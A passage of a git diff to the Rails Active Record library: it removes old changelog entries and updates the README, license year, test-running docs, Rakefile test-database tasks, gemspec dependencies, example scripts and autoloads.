-* Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects.
-
- Record.from(subquery)
- Record.from(subquery, :a)
-
- *Radoslav Stankov*
-
-* Added custom coders support for ActiveRecord::Store. Now you can set
- your custom coder like this:
-
- store :settings, accessors: [ :color, :homepage ], coder: JSON
-
- *Andrey Voronkov*
-
-* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by
- default to avoid silent data loss. This can be disabled by specifying
- `strict: false` in your `database.yml`.
-
- *Michael Pearson*
-
-* Added default order to `first` to assure consistent results among
- different database engines. Introduced `take` as a replacement to
- the old behavior of `first`.
-
- *Marcelo Silveira*
-
-* Added an `:index` option to automatically create indexes for references
- and belongs_to statements in migrations.
-
- The `references` and `belongs_to` methods now support an `index`
- option that receives either a boolean value or an options hash
- that is identical to options available to the add_index method:
-
- create_table :messages do |t|
- t.references :person, index: true
- end
-
- Is the same as:
-
- create_table :messages do |t|
- t.references :person
- end
- add_index :messages, :person_id
-
- Generators have also been updated to use the new syntax.
-
- *Joshua Wood*
-
-* Added bang methods for mutating `ActiveRecord::Relation` objects.
- For example, while `foo.where(:bar)` will return a new object
- leaving `foo` unchanged, `foo.where!(:bar)` will mutate the foo
- object
-
- *Jon Leighton*
-
-* Added `#find_by` and `#find_by!` to mirror the functionality
- provided by dynamic finders in a way that allows dynamic input more
- easily:
-
- Post.find_by name: 'Spartacus', rating: 4
- Post.find_by "published_at < ?", 2.weeks.ago
- Post.find_by! name: 'Spartacus'
-
- *Jon Leighton*
-
-* Added ActiveRecord::Base#slice to return a hash of the given methods with
- their names as keys and returned values as values.
-
- *Guillermo Iguaran*
-
-* Deprecate eager-evaluated scopes.
-
- Don't use this:
-
- scope :red, where(color: 'red')
- default_scope where(color: 'red')
-
- Use this:
-
- scope :red, -> { where(color: 'red') }
- default_scope { where(color: 'red') }
-
- The former has numerous issues. It is a common newbie gotcha to do
- the following:
-
- scope :recent, where(published_at: Time.now - 2.weeks)
-
- Or a more subtle variant:
-
- scope :recent, -> { where(published_at: Time.now - 2.weeks) }
- scope :recent_red, recent.where(color: 'red')
-
- Eager scopes are also very complex to implement within Active
- Record, and there are still bugs. For example, the following does
- not do what you expect:
-
- scope :remove_conditions, except(:where)
- where(...).remove_conditions # => still has conditions
-
- *Jon Leighton*
-
-* Remove IdentityMap
-
- IdentityMap has never graduated to be an "enabled-by-default" feature, due
- to some inconsistencies with associations, as described in this commit:
-
- https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6
-
- Hence the removal from the codebase, until such issues are fixed.
-
- *Carlos Antonio da Silva*
-
-* Added the schema cache dump feature.
-
- `Schema cache dump` feature was implemetend. This feature can dump/load internal state of `SchemaCache` instance
- because we want to boot rails more quickly when we have many models.
-
- Usage notes:
-
- 1) execute rake task.
- RAILS_ENV=production bundle exec rake db:schema:cache:dump
- => generate db/schema_cache.dump
-
- 2) add config.active_record.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
-
- 3) boot rails.
- RAILS_ENV=production bundle exec rails server
- => use db/schema_cache.dump
-
- 4) If you remove clear dumped cache, execute rake task.
- RAILS_ENV=production bundle exec rake db:schema:cache:clear
- => remove db/schema_cache.dump
-
- *kennyj*
-
-* Added support for partial indices to PostgreSQL adapter.
-
- The `add_index` method now supports a `where` option that receives a
- string with the partial index criteria.
-
- add_index(:accounts, :code, where: 'active')
-
- Generates
-
- CREATE INDEX index_accounts_on_code ON accounts(code) WHERE active
-
- *Marcelo Silveira*
-
-* Implemented ActiveRecord::Relation#none method.
-
- The `none` method returns a chainable relation with zero records
- (an instance of the NullRelation class).
-
- Any subsequent condition chained to the returned relation will continue
- generating an empty relation and will not fire any query to the database.
-
- *Juanjo Bazán*
-
-* Added the `ActiveRecord::NullRelation` class implementing the null
- object pattern for the Relation class.
-
- *Juanjo Bazán*
-
-* Added new `dependent: :restrict_with_error` option. This will add
- an error to the model, rather than raising an exception.
-
- The `:restrict` option is renamed to `:restrict_with_exception` to
- make this distinction explicit.
-
- *Manoj Kumar & Jon Leighton*
-
-* Added `create_join_table` migration helper to create HABTM join tables.
-
- create_join_table :products, :categories
- # =>
- # create_table :categories_products, id: false do |td|
- # td.integer :product_id, null: false
- # td.integer :category_id, null: false
- # end
-
- *Rafael Mendonça França*
-
-* The primary key is always initialized in the @attributes hash to `nil` (unless
- another value has been specified).
-
- *Aaron Paterson*
-
-* In previous releases, the following would generate a single query with
- an `OUTER JOIN comments`, rather than two separate queries:
-
- Post.includes(:comments)
- .where("comments.name = 'foo'")
-
- This behaviour relies on matching SQL string, which is an inherently
- flawed idea unless we write an SQL parser, which we do not wish to
- do.
-
- Therefore, it is now deprecated.
-
- To avoid deprecation warnings and for future compatibility, you must
- explicitly state which tables you reference, when using SQL snippets:
-
- Post.includes(:comments)
- .where("comments.name = 'foo'")
- .references(:comments)
-
- Note that you do not need to explicitly specify references in the
- following cases, as they can be automatically inferred:
-
- Post.includes(:comments).where(comments: { name: 'foo' })
- Post.includes(:comments).where('comments.name' => 'foo')
- Post.includes(:comments).order('comments.name')
-
- You do not need to worry about this unless you are doing eager
- loading. Basically, don't worry unless you see a deprecation warning
- or (in future releases) an SQL error due to a missing JOIN.
-
- *Jon Leighton*
-
-* Support for the `schema_info` table has been dropped. Please
- switch to `schema_migrations`.
-
- *Aaron Patterson*
-
-* Connections *must* be closed at the end of a thread. If not, your
- connection pool can fill and an exception will be raised.
-
- *Aaron Patterson*
-
-* PostgreSQL hstore records can be created.
-
- *Aaron Patterson*
-
-* PostgreSQL hstore types are automatically deserialized from the database.
-
- *Aaron Patterson*
-
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activerecord/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index 03bde18130..2950f05b11 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2012 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index 9fc6785d99..f4777919d3 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -1,4 +1,4 @@
-= Active Record -- Object-relational mapping put on rails
+= Active Record -- Object-relational mapping in Rails
Active Record connects classes to relational database tables to establish an
almost zero-configuration persistence layer for applications. The library
@@ -20,8 +20,10 @@ A short rundown of some of the major features:
class Product < ActiveRecord::Base
end
- The Product class is automatically mapped to the table named "products",
- which might look like this:
+ {Learn more}[link:classes/ActiveRecord/Base.html]
+
+The Product class is automatically mapped to the table named "products",
+which might look like this:
CREATE TABLE products (
id int(11) NOT NULL auto_increment,
@@ -29,10 +31,8 @@ A short rundown of some of the major features:
PRIMARY KEY (id)
);
- This would also define the following accessors: `Product#name` and
- `Product#name=(new_name)`
-
- {Learn more}[link:classes/ActiveRecord/Base.html]
+This would also define the following accessors: `Product#name` and
+`Product#name=(new_name)`.
* Associations between objects defined by simple class methods.
@@ -130,7 +130,7 @@ A short rundown of some of the major features:
SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html].
-* Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
+* Logging support for Log4r[https://github.com/colbygk/log4r] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
@@ -175,7 +175,7 @@ by relying on a number of conventions that make it easy for Active Record to inf
complex relations and structures from a minimal amount of explicit direction.
Convention over Configuration:
-* No XML-files!
+* No XML files!
* Lots of reflection and run-time extension
* Magic is not inherently a bad word
@@ -190,7 +190,7 @@ The latest version of Active Record can be installed with RubyGems:
% [sudo] gem install activerecord
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the Rails project on GitHub:
* https://github.com/rails/rails/tree/master/activerecord
@@ -204,10 +204,15 @@ Active Record is released under the MIT license:
== Support
-API documentation is at
+API documentation is at:
* http://api.rubyonrails.org
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/activerecord/RUNNING_UNIT_TESTS b/activerecord/RUNNING_UNIT_TESTS
deleted file mode 100644
index bdd8834dcb..0000000000
--- a/activerecord/RUNNING_UNIT_TESTS
+++ /dev/null
@@ -1,31 +0,0 @@
-== Setup
-
-If you don't have the environment set make sure to read
-
- http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#testing-active-record.
-
-== Running the Tests
-
-You can run a particular test file from the command line, e.g.
-
- $ ruby -Itest test/cases/base_test.rb
-
-To run a specific test:
-
- $ ruby -Itest test/cases/base_test.rb -n test_something_works
-
-You can run with a database other than the default you set in test/config.yml, using the ARCONN
-environment variable:
-
- $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb
-
-You can run all the tests for a given database via rake:
-
- $ rake test_mysql
-
-The 'rake test' task will run all the tests for mysql, mysql2, sqlite3 and postgresql.
-
-== Custom Config file
-
-By default, the config file is expected to be at the path test/config.yml. You can specify a
-custom location with the ARCONFIG environment variable.
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000000..569685bd45
--- /dev/null
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,44 @@
+== Setup
+
+If you don't have an environment for running tests, read
+http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up-a-development-environment
+
+== Running the Tests
+
+To run a specific test:
+
+ $ ruby -Itest test/cases/base_test.rb -n method_name
+
+To run a set of tests:
+
+ $ ruby -Itest test/cases/base_test.rb
+
+You can also run tests that depend upon a specific database backend. For
+example:
+
+ $ bundle exec rake test_sqlite3
+
+Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:
+
+ $ bundle exec rake test_mysql
+ $ bundle exec rake test_mysql2
+ $ bundle exec rake test_postgresql
+ $ bundle exec rake test_sqlite3
+ $ bundle exec rake test_sqlite3_mem
+
+There should be tests available for each database backend listed in the {Config
+File}[rdoc-label:label-Config+File]. (the exact set of available tests is
+defined in +Rakefile+)
+
+== Config File
+
+If +test/config.yml+ is present, then its parameters are obeyed; otherwise, the
+parameters in +test/config.example.yml+ are.
+
+You can override the +connections:+ parameter in either file using the +ARCONN+
+(Active Record CONNection) environment variable:
+
+ $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb
+
+You can specify a custom location for the config file using the +ARCONFIG+
+environment variable.
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index 53ddff420e..976b559da9 100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -1,5 +1,4 @@
require 'rake/testtask'
-require 'rake/packagetask'
require 'rubygems/package_task'
require File.expand_path(File.dirname(__FILE__)) + "/test/config"
@@ -39,27 +38,37 @@ namespace :test do
end
end
-%w( mysql mysql2 postgresql sqlite3 sqlite3_mem firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
- Rake::TestTask.new("test_#{adapter}") { |t|
- adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
- t.libs << 'test'
- t.test_files = (Dir.glob( "test/cases/**/*_test.rb" ).reject {
- |x| x =~ /\/adapters\//
- } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort
-
- t.warning = true
- t.verbose = true
- }
-
- task "isolated_test_#{adapter}" do
- adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
- puts [adapter, adapter_short].inspect
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
- (Dir["test/cases/**/*_test.rb"].reject {
- |x| x =~ /\/adapters\//
- } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
- sh(ruby, "-Itest", file)
- end or raise "Failures"
+desc 'Build MySQL and PostgreSQL test databases'
+namespace :db do
+ task :create => ['db:mysql:build', 'db:postgresql:build']
+ task :drop => ['db:mysql:drop', 'db:postgresql:drop']
+end
+
+%w( mysql mysql2 postgresql sqlite3 sqlite3_mem db2 oracle jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
+ namespace :test do
+ Rake::TestTask.new(adapter => "#{adapter}:env") { |t|
+ adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
+ t.libs << 'test'
+ t.test_files = (Dir.glob( "test/cases/**/*_test.rb" ).reject {
+ |x| x =~ /\/adapters\//
+ } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort
+
+ t.warning = true
+ t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+ }
+
+ namespace :isolated do
+ task adapter => "#{adapter}:env" do
+ adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
+ puts [adapter, adapter_short].inspect
+ (Dir["test/cases/**/*_test.rb"].reject {
+ |x| x =~ /\/adapters\//
+ } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
+ sh(Gem.ruby, '-w' ,"-Itest", file)
+ end or raise "Failures"
+ end
+ end
end
namespace adapter do
@@ -71,8 +80,8 @@ end
end
# Make sure the adapter test evaluates the env setting task
- task "test_#{adapter}" => "#{adapter}:env"
- task "isolated_test_#{adapter}" => "#{adapter}:env"
+ task "test_#{adapter}" => ["#{adapter}:env", "test:#{adapter}"]
+ task "isolated_test_#{adapter}" => ["#{adapter}:env", "test:isolated:#{adapter}"]
end
rule '.sqlite3' do |t|
@@ -84,143 +93,74 @@ task :test_sqlite3 => [
'test/fixtures/fixture_database_2.sqlite3'
]
-namespace :mysql do
- desc 'Build the MySQL test databases'
- task :build_databases do
- config = ARTest.config['connections']['mysql']
- %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
- %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
- end
-
- desc 'Drop the MySQL test databases'
- task :drop_databases do
- config = ARTest.config['connections']['mysql']
- %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} )
- %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} )
- end
-
- desc 'Rebuild the MySQL test databases'
- task :rebuild_databases => [:drop_databases, :build_databases]
-end
+namespace :db do
+ namespace :mysql do
+ desc 'Build the MySQL test databases'
+ task :build do
+ config = ARTest.config['connections']['mysql']
+ %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+ %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+ end
-task :build_mysql_databases => 'mysql:build_databases'
-task :drop_mysql_databases => 'mysql:drop_databases'
-task :rebuild_mysql_databases => 'mysql:rebuild_databases'
+ desc 'Drop the MySQL test databases'
+ task :drop do
+ config = ARTest.config['connections']['mysql']
+ %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} )
+ %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} )
+ end
+ desc 'Rebuild the MySQL test databases'
+ task :rebuild => [:drop, :build]
+ end
-namespace :postgresql do
- desc 'Build the PostgreSQL test databases'
- task :build_databases do
- config = ARTest.config['connections']['postgresql']
- %x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
- %x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
+ namespace :postgresql do
+ desc 'Build the PostgreSQL test databases'
+ task :build do
+ config = ARTest.config['connections']['postgresql']
+ %x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
+ %x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
- # prepare hstore
- version = %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2")
- %w(arunit arunit2).each do |db|
- if version < "9.1.0"
+ # prepare hstore
+ if %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2") < "9.1.0"
puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
- else
- %x( psql #{config[db]['database']} -c "CREATE EXTENSION hstore;" )
end
end
- end
- desc 'Drop the PostgreSQL test databases'
- task :drop_databases do
- config = ARTest.config['connections']['postgresql']
- %x( dropdb #{config['arunit']['database']} )
- %x( dropdb #{config['arunit2']['database']} )
- end
+ desc 'Drop the PostgreSQL test databases'
+ task :drop do
+ config = ARTest.config['connections']['postgresql']
+ %x( dropdb #{config['arunit']['database']} )
+ %x( dropdb #{config['arunit2']['database']} )
+ end
- desc 'Rebuild the PostgreSQL test databases'
- task :rebuild_databases => [:drop_databases, :build_databases]
+ desc 'Rebuild the PostgreSQL test databases'
+ task :rebuild => [:drop, :build]
+ end
end
-task :build_postgresql_databases => 'postgresql:build_databases'
-task :drop_postgresql_databases => 'postgresql:drop_databases'
-task :rebuild_postgresql_databases => 'postgresql:rebuild_databases'
-
-
-namespace :frontbase do
- desc 'Build the FrontBase test databases'
- task :build_databases => :rebuild_frontbase_databases
-
- desc 'Rebuild the FrontBase test databases'
- task :rebuild_databases do
- build_frontbase_database = Proc.new do |db_name, sql_definition_file|
- %(
- STOP DATABASE #{db_name};
- DELETE DATABASE #{db_name};
- CREATE DATABASE #{db_name};
+task :build_mysql_databases => 'db:mysql:build'
+task :drop_mysql_databases => 'db:mysql:drop'
+task :rebuild_mysql_databases => 'db:mysql:rebuild'
- CONNECT TO #{db_name} AS SESSION_NAME USER _SYSTEM;
- SET COMMIT FALSE;
+task :build_postgresql_databases => 'db:postgresql:build'
+task :drop_postgresql_databases => 'db:postgresql:drop'
+task :rebuild_postgresql_databases => 'db:postgresql:rebuild'
- CREATE USER RAILS;
- CREATE SCHEMA RAILS AUTHORIZATION RAILS;
- COMMIT;
-
- SET SESSION AUTHORIZATION RAILS;
- SCRIPT '#{sql_definition_file}';
-
- COMMIT;
-
- DISCONNECT ALL;
- )
- end
- config = ARTest.config['connections']['frontbase']
- create_activerecord_unittest = build_frontbase_database[config['arunit']['database'], File.join(SCHEMA_ROOT, 'frontbase.sql')]
- create_activerecord_unittest2 = build_frontbase_database[config['arunit2']['database'], File.join(SCHEMA_ROOT, 'frontbase2.sql')]
- execute_frontbase_sql = Proc.new do |sql|
- system(<<-SHELL)
- /Library/FrontBase/bin/sql92 <<-SQL
- #{sql}
- SQL
- SHELL
- end
- execute_frontbase_sql[create_activerecord_unittest]
- execute_frontbase_sql[create_activerecord_unittest2]
- end
+task :lines do
+ load File.expand_path('..', File.dirname(__FILE__)) + '/tools/line_statistics'
+ files = FileList["lib/active_record/**/*.rb"]
+ CodeTools::LineStatistics.new(files).print_loc
end
-task :build_frontbase_databases => 'frontbase:build_databases'
-task :rebuild_frontbase_databases => 'frontbase:rebuild_databases'
-
spec = eval(File.read('activerecord.gemspec'))
Gem::PackageTask.new(spec) do |p|
p.gem_spec = spec
end
-task :lines do
- lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
- FileList["lib/active_record/**/*.rb"].each do |file_name|
- next if file_name =~ /vendor/
- File.open(file_name, 'r') do |f|
- while line = f.gets
- lines += 1
- next if line =~ /^\s*$/
- next if line =~ /^\s*#/
- codelines += 1
- end
- end
- puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-
- total_lines += lines
- total_codelines += codelines
-
- lines, codelines = 0, 0
- end
-
- puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
-end
-
-
# Publishing ------------------------------------------------------
-desc "Release to gemcutter"
+desc "Release to rubygems"
task :release => :package do
require 'rake/gemcutter'
Rake::Gemcutter::Tasks.new(spec).define
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index 31ddb01123..471769a962 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
s.summary = 'Object-relational mapper framework (part of Rails).'
s.description = 'Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.license = 'MIT'
@@ -24,6 +24,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
s.add_dependency 'activemodel', version
- s.add_dependency 'arel', '~> 3.0.2'
- s.add_dependency 'activerecord-deprecated_finders', '0.0.1'
+ s.add_dependency 'arel', '~> 6.0'
end
diff --git a/activerecord/examples/associations.png b/activerecord/examples/associations.png
deleted file mode 100644
index 661c7a8bbc..0000000000
--- a/activerecord/examples/associations.png
+++ /dev/null
Binary files differ
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index cd9825b50c..a5a1f284a0 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -5,12 +5,12 @@ require 'benchmark/ips'
TIME = (ENV['BENCHMARK_TIME'] || 20).to_i
RECORDS = (ENV['BENCHMARK_RECORDS'] || TIME*1000).to_i
-conn = { :adapter => 'sqlite3', :database => ':memory:' }
+conn = { adapter: 'sqlite3', database: ':memory:' }
ActiveRecord::Base.establish_connection(conn)
class User < ActiveRecord::Base
- connection.create_table :users, :force => true do |t|
+ connection.create_table :users, force: true do |t|
t.string :name, :email
t.timestamps
end
@@ -19,7 +19,7 @@ class User < ActiveRecord::Base
end
class Exhibit < ActiveRecord::Base
- connection.create_table :exhibits, :force => true do |t|
+ connection.create_table :exhibits, force: true do |t|
t.belongs_to :user
t.string :name
t.text :notes
@@ -39,10 +39,12 @@ class Exhibit < ActiveRecord::Base
where("notes IS NOT NULL")
end
- def self.look(exhibits) exhibits.each { |e| e.look } end
- def self.feel(exhibits) exhibits.each { |e| e.feel } end
+ def self.look(exhibits) exhibits.each(&:look) end
+ def self.feel(exhibits) exhibits.each(&:feel) end
end
+def progress_bar(int); print "." if (int%100).zero? ; end
+
puts 'Generating data...'
module ActiveRecord
@@ -75,30 +77,32 @@ notes = ActiveRecord::Faker::LOREM.join ' '
today = Date.today
puts "Inserting #{RECORDS} users and exhibits..."
-RECORDS.times do
+RECORDS.times do |record|
user = User.create(
- :created_at => today,
- :name => ActiveRecord::Faker.name,
- :email => ActiveRecord::Faker.email
+ created_at: today,
+ name: ActiveRecord::Faker.name,
+ email: ActiveRecord::Faker.email
)
Exhibit.create(
- :created_at => today,
- :name => ActiveRecord::Faker.name,
- :user => user,
- :notes => notes
+ created_at: today,
+ name: ActiveRecord::Faker.name,
+ user: user,
+ notes: notes
)
+ progress_bar(record)
end
+puts "Done!\n"
Benchmark.ips(TIME) do |x|
ar_obj = Exhibit.find(1)
- attrs = { :name => 'sam' }
- attrs_first = { :name => 'sam' }
- attrs_second = { :name => 'tom' }
+ attrs = { name: 'sam' }
+ attrs_first = { name: 'sam' }
+ attrs_second = { name: 'tom' }
exhibit = {
- :name => ActiveRecord::Faker.name,
- :notes => notes,
- :created_at => Date.today
+ name: ActiveRecord::Faker.name,
+ notes: notes,
+ created_at: Date.today
}
x.report("Model#id") do
@@ -117,10 +121,18 @@ Benchmark.ips(TIME) do |x|
Exhibit.first.look
end
+ x.report 'Model.take' do
+ Exhibit.take
+ end
+
x.report("Model.all limit(100)") do
Exhibit.look Exhibit.limit(100)
end
+ x.report("Model.all take(100)") do
+ Exhibit.look Exhibit.take(100)
+ end
+
x.report "Model.all limit(100) with relationship" do
Exhibit.feel Exhibit.limit(100).includes(:user)
end
@@ -143,7 +155,7 @@ Benchmark.ips(TIME) do |x|
end
x.report 'Resource#update' do
- Exhibit.first.update_attributes(:name => 'bob')
+ Exhibit.first.update(name: 'bob')
end
x.report 'Resource#destroy' do
@@ -167,6 +179,6 @@ Benchmark.ips(TIME) do |x|
end
x.report "AR.execute(query)" do
- ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}")
+ ActiveRecord::Base.connection.execute("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}")
end
end
diff --git a/activerecord/examples/simple.rb b/activerecord/examples/simple.rb
index c12f746992..4ed5d80eb2 100644
--- a/activerecord/examples/simple.rb
+++ b/activerecord/examples/simple.rb
@@ -1,14 +1,14 @@
-$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/../lib"
+require File.expand_path('../../../load_paths', __FILE__)
require 'active_record'
class Person < ActiveRecord::Base
- establish_connection :adapter => 'sqlite3', :database => 'foobar.db'
- connection.create_table table_name, :force => true do |t|
+ establish_connection adapter: 'sqlite3', database: 'foobar.db'
+ connection.create_table table_name, force: true do |t|
t.string :name
end
end
-bob = Person.create!(:name => 'bob')
+bob = Person.create!(name: 'bob')
puts Person.all.inspect
bob.destroy
puts Person.all.inspect
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 822da84d19..9028970a3d 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2012 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -25,19 +25,21 @@ require 'active_support'
require 'active_support/rails'
require 'active_model'
require 'arel'
-require 'active_record/deprecated_finders'
require 'active_record/version'
+require 'active_record/attribute_set'
module ActiveRecord
extend ActiveSupport::Autoload
+ autoload :Attribute
autoload :Base
autoload :Callbacks
autoload :Core
- autoload :CounterCache
autoload :ConnectionHandling
+ autoload :CounterCache
autoload :DynamicMatchers
+ autoload :Enum
autoload :Explain
autoload :Inheritance
autoload :Integration
@@ -45,17 +47,20 @@ module ActiveRecord
autoload :Migrator, 'active_record/migration'
autoload :ModelSchema
autoload :NestedAttributes
+ autoload :NoTouching
autoload :Persistence
autoload :QueryCache
autoload :Querying
autoload :ReadonlyAttributes
autoload :Reflection
+ autoload :RuntimeRegistry
autoload :Sanitization
autoload :Schema
autoload :SchemaDumper
autoload :SchemaMigration
autoload :Scoping
autoload :Serialization
+ autoload :StatementCache
autoload :Store
autoload :Timestamp
autoload :Transactions
@@ -69,11 +74,12 @@ module ActiveRecord
autoload :Aggregations
autoload :Associations
- autoload :AttributeMethods
autoload :AttributeAssignment
+ autoload :AttributeMethods
autoload :AutosaveAssociation
autoload :Relation
+ autoload :AssociationRelation
autoload :NullRelation
autoload_under 'relation' do
@@ -91,6 +97,7 @@ module ActiveRecord
module Coders
autoload :YAMLColumn, 'active_record/coders/yaml_column'
+ autoload :JSON, 'active_record/coders/json'
end
module AttributeMethods
@@ -145,7 +152,6 @@ module ActiveRecord
'active_record/tasks/postgresql_database_tasks'
end
- autoload :TestCase
autoload :TestFixtures, 'active_record/fixtures'
def self.eager_load!
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index 8101f7a45e..1040e6e3bb 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -113,7 +113,7 @@ module ActiveRecord
# other than the writer method.
#
# The immutable requirement is enforced by Active Record by freezing any object assigned as a value
- # object. Attempting to change it afterwards will result in a ActiveSupport::FrozenObjectError.
+ # object. Attempting to change it afterwards will result in a RuntimeError.
#
# Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not
# keeping value objects immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable
@@ -129,10 +129,10 @@ module ActiveRecord
# is an instance of the value class. Specifying a custom converter allows the new value to be automatically
# converted to an instance of value class if necessary.
#
- # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that
- # should be aggregated using the NetAddr::CIDR value class (http://netaddr.rubyforge.org). The constructor
- # for the value class is called +create+ and it expects a CIDR address string as a parameter. New
- # values can be assigned to the value object using either another NetAddr::CIDR object, a string
+ # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that should be
+ # aggregated using the NetAddr::CIDR value class (http://www.ruby-doc.org/gems/docs/n/netaddr-1.5.0/NetAddr/CIDR.html).
+ # The constructor for the value class is called +create+ and it expects a CIDR address string as a parameter.
+ # New values can be assigned to the value object using either another NetAddr::CIDR object, a string
# or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet
# these requirements:
#
@@ -165,7 +165,7 @@ module ActiveRecord
# by specifying an instance of the value object in the conditions hash. The following example
# finds all customers with +balance_amount+ equal to 20 and +balance_currency+ equal to "USD":
#
- # Customer.where(balance: Money.new(20, "USD")).all
+ # Customer.where(balance: Money.new(20, "USD"))
#
module ClassMethods
# Adds reader and writer methods for manipulating a value object:
@@ -223,14 +223,15 @@ module ActiveRecord
reader_method(name, class_name, mapping, allow_nil, constructor)
writer_method(name, class_name, mapping, allow_nil, converter)
